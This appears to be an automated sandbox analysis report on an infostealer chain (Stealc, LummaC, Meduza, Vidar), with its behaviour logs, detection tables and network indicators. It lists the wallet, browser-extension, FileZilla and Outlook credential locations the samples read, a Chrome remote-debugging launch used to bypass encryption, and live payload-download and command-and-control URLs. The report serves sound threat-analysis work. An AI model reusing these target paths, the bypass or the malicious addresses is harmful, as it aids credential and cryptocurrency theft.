Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: C:\Users\user\Documents\EBFBKFBGII.exe

Directory queried: C:\Users\user\Documents

Jump to behavior

Source: Yara match	File source: 0000001B.00000002.2511184346.0000000000F69000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bbbef9e2c3.exe PID: 4736, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected CredGrabber

Source: Yara match

File source: Process Memory Space: Ed7zZr4.exe PID: 8136, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: bbbef9e2c3.exe PID: 4736, type: MEMORYSTR

Yara detected Meduza Stealer

Source: Yara match	File source: 26.2.Ed7zZr4.exe.140000000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.Ed7zZr4.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000002.2433470637.0000022BC7C55000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2432809587.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Ed7zZr4.exe PID: 8136, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1865897595.00000000000F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1867314381.000000000103D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2478015270.0000000000131000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2434655833.00000000051E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1262676419.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2480811953.000000000157E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2a79a10743.exe PID: 8688, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7308, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF00C40 sqlite3_bind_zeroblob,	0_2_6CF00C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF00D60 sqlite3_bind_parameter_name,	0_2_6CF00D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE28EA0 sqlite3_clear_bindings,	0_2_6CE28EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF00B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6CF00B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE26410 bind,WSAGetLastError,	0_2_6CE26410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE260B0 listen,WSAGetLastError,	0_2_6CE260B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE26070 PR_Listen,	0_2_6CE26070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE2C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6CE2C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE2C030 sqlite3_bind_parameter_count,	0_2_6CE2C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDB22D0 sqlite3_bind_blob,	0_2_6CDB22D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE263C0 PR_Bind,	0_2_6CE263C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE294F0 sqlite3_bind_text16,	0_2_6CE294F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE294C0 sqlite3_bind_text,	0_2_6CE294C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE29480 sqlite3_bind_null,	0_2_6CE29480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE29400 sqlite3_bind_int64,	0_2_6CE29400
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0081EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,	23_2_0081EC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0081DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,	23_2_0081DF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	12 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	212 Process Injection	4 Obfuscated Files or Information	Security Account Manager	249 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	1 Remote Access Software	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	751 Security Software Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	114 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	212 Process Injection	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	45%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Ed7zZr4[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	34%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Ed7zZr4[1].exe	47%	ReversingLabs	Win64.Trojan.MeduzaStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	21%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	47%	ReversingLabs	Win64.Trojan.MeduzaStealer
C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	34%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	21%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
http://185.215.113.206c4becf79229cb002.phpdge	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php#d	100%	Avira URL Cloud	malware
http://185.215.113.16/well/random.exe=N	0%	Avira URL Cloud	safe
https://atten-supporse.biz/xxNHu#	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpCm	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exevN	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php0b4ecf702cec0702bbd347ccec8e	100%	Avira URL Cloud	malware
https://atten-supporse.biz/P	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/mozglue.dll/	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exeiN	0%	Avira URL Cloud	safe
http://185.215.113.16/well/random.exec613	0%	Avira URL Cloud	safe
http://185.215.113.16/well/random.exel	0%	Avira URL Cloud	safe
http://185.215.113.16/mine/random.exen	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe%3s	0%	Avira URL Cloud	safe
http://31.41.244.11/files/6946140361/Ed7zZr4.exeXYZ0123456789	100%	Avira URL Cloud	malware
http://31.41.244.11/files/6946140361/Ed7zZr4.exe	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php003	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpcl	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php000001	100%	Avira URL Cloud	malware
http://185.215.113.16/well/random.exeHN	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php;w9	100%	Avira URL Cloud	malware
http://185.215.113.206/al	100%	Avira URL Cloud	malware
https://atten-supporse.biz/yY	100%	Avira URL Cloud	malware
http://185.215.113.43/t	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exe0N	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpKwiEu	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll_	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php-d	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpol	100%	Avira URL Cloud	malware
https://atten-supporse.biz/_u	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpqBM	100%	Avira URL Cloud	malware
https://atten-supporse.biz/apiS	100%	Avira URL Cloud	malware
https://atten-supporse.biz:443/apicryptPrimitives.dll	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php?d	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php/P	100%	Avira URL Cloud	malware
https://atten-supporse.biz/wuvIa	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
atten-supporse.biz	104.21.16.9	true	false	high
www3.l.google.com	142.250.181.142	true	false	high
plus.l.google.com	142.250.201.14	true	false	high
play.google.com	172.217.19.238	true	false	high
www.google.com	142.250.181.68	true	false	high
api.ipify.org	172.67.74.152	true	false	high
ogs.google.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
dare-curbys.biz	false	high
http://185.215.113.206/	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
formy-spill.biz	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://atten-supporse.biz/api	false	high
atten-supporse.biz	false	high
print-vexer.biz	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
impend-differ.biz	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
dwell-exclaim.biz	false	high
zinc-sneark.biz	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
se-blurry.biz	false	high
https://api.ipify.org/	false	high
covery-mover.biz	false	high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
https://www.google.com/async/newtab_promos	false	high
https://www.google.com/async/ddljson?async=ntp:2	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	file.exe, 00000000.00000002.1873375123.000000000BA61000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1867314381.00000000010F7000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2279204858.0000022BC7CDF000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2279000541.0000022BCA6ED000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2279000541.0000022BCA725000.00000004.00000020.00020000.00000000.sdmp, HCFBFBAEBKJKEBGCAEHC.0.dr	false		high
https://duckduckgo.com/chrome_newtab	Ed7zZr4.exe, 0000001A.00000003.2261514283.0000022BCA72C000.00000004.00000020.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427851570.00000000057CB000.00000004.00000800.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427716381.00000000057CD000.00000004.00000800.00020000.00000000.sdmp, KKKKEHJK.0.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.1867314381.0000000001094000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2261514283.0000022BCA72C000.00000004.00000020.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427851570.00000000057CB000.00000004.00000800.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427716381.00000000057CD000.00000004.00000800.00020000.00000000.sdmp, KKKKEHJK.0.dr	false		high
http://www.broofa.com	chromecache_97.11.dr	false		high
http://185.215.113.206/c4becf79229cb002.php#d	file.exe, 00000000.00000002.1873375123.000000000BAD8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://atten-supporse.biz/P	bbbef9e2c3.exe, 0000001B.00000002.2511184346.0000000000F69000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/steam/random.exeiN	skotes.exe, 00000017.00000002.2514769004.0000000001086000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpCm	file.exe, 00000000.00000002.1873375123.000000000BAD8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206c4becf79229cb002.phpdge	file.exe, 00000000.00000002.1865897595.00000000001BC000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/well/random.exe=N	skotes.exe, 00000017.00000002.2514769004.0000000001086000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com	chromecache_97.11.dr	false		high
http://185.215.113.16/luma/random.exevN	skotes.exe, 00000017.00000002.2514769004.0000000001086000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/mozglue.dll/	file.exe, 00000000.00000002.1867314381.000000000107A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.php0b4ecf702cec0702bbd347ccec8e	file.exe, 00000000.00000002.1865897595.00000000001BC000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	EHDAAECAEBKJKFHJKECFIJJDAE.0.dr	false		high
https://api.ipify.org/M	Ed7zZr4.exe, 0000001A.00000002.2433470637.0000022BC7C55000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/well/random.exe	skotes.exe, 00000017.00000002.2514769004.0000000001086000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.2514769004.000000000105B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.2514769004.0000000000FEB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.1886279357.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://atten-supporse.biz/xxNHu#	bbbef9e2c3.exe, 0000001B.00000002.2511184346.0000000000F69000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
http://185.215.113.43/Zu7JuNko/index.php000001	skotes.exe, 00000017.00000002.2514769004.0000000001073000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.php&	2a79a10743.exe, 0000001C.00000002.2480811953.00000000015D9000.00000004.00000020.00020000.00000000.sdmp	false		high
